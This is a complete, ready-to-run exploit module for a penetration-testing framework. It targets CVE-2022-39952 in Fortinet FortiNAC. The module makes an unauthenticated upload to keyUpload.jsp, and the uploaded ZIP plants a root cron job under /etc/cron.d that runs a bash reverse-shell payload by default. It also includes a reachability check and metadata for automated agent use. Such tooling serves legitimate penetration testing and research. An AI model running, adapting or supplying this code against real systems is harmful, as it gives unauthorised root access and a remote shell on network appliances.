Fortinet FortiNAC keyUpload Cron RCE (CVE-2022-39952)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2022-39952 — Fortinet FortiNAC arbitrary file write via keyUpload.jsp (Horizon3).

Uploads a ZIP whose entry path is /etc/cron.d/payload; cron executes CMD payload.
"""

from __future__ import annotations

import io
import zipfile

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Fortinet FortiNAC keyUpload Cron RCE (CVE-2022-39952)",
        "description": (
            "Horizon3 PoC: unauthenticated POST to /configWizard/keyUpload.jsp with a "
            "ZIP placing a cron job under /etc/cron.d/. Use a CMD reverse payload."
        ),
        "author": ["Horizon3 Attack Team", "KittySploit Team"],
        "cve": ["CVE-2022-39952"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/horizon3ai/CVE-2022-39952",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-39952",
        ],
        "tags": ["fortinet", "fortinac", "file-upload", "cron", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 1,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce"],
            "requires": {"tech_hints_any": ["fortinac", "fortinet"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/fortinet_fortinac_detect",
                ],
            },
        },
    }

    port = OptPort(8443, "FortiNAC HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=True)
    cron_path = OptString(
        "/etc/cron.d/payload",
        "Zip entry path on the appliance",
        required=False,
        advanced=True,
    )
    cron_schedule = OptString(
        "* * * * *",
        "Cron schedule fields (minute hour dom month dow)",
        required=False,
        advanced=True,
    )

    UPLOAD_PATH = "/configWizard/keyUpload.jsp"

    def _cron_body(self) -> bytes:
        cmd = str(self.shell_from_payload() or "").strip()
        if not cmd:
            raise ValueError("Set a CMD payload")
        schedule = str(self.cron_schedule or "* * * * *").strip()
        line = f"{schedule} root {cmd}\n"
        return line.encode()

    def _build_zip(self, inner_name: str, content: bytes) -> bytes:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
            zf.writestr(inner_name, content)
        return buf.getvalue()

    def check(self):
        r = self.http_request(method="GET", path=self.UPLOAD_PATH, allow_redirects=True)
        if r and r.status_code in (200, 405):
            return {"vulnerable": True, "reason": "keyUpload.jsp reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "keyUpload.jsp not reachable", "confidence": "low"}

    def run(self):
        if not self.shell_from_payload():
            print_error("Set a CMD payload")
            return False

        print_status("CVE-2022-39952 — FortiNAC keyUpload cron RCE")
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Upload surface not found"))
            self.not_vulnerable()
            return False

        remote_path = str(self.cron_path or "/etc/cron.d/payload").strip()
        try:
            cron_bytes = self._cron_body()
            zip_bytes = self._build_zip(remote_path, cron_bytes)
        except ValueError as exc:
            print_error(str(exc))
            return False

        files = {"key": ("payload.zip", zip_bytes, "application/zip")}
        r = self.http_request(
            method="POST",
            path=self.UPLOAD_PATH,
            files=files,
            allow_redirects=False,
        )
        if not r:
            print_error("Upload failed")
            return False
        body = r.text or ""
        if "SuccessfulUpload" not in body:
            print_error(f"Unexpected response ({r.status_code}): {body[:300]}")
            return False

        print_warning("Cron uploaded — session may take up to one minute.")
        print_success("Exploit delivered")
        self.vulnerable()
        return True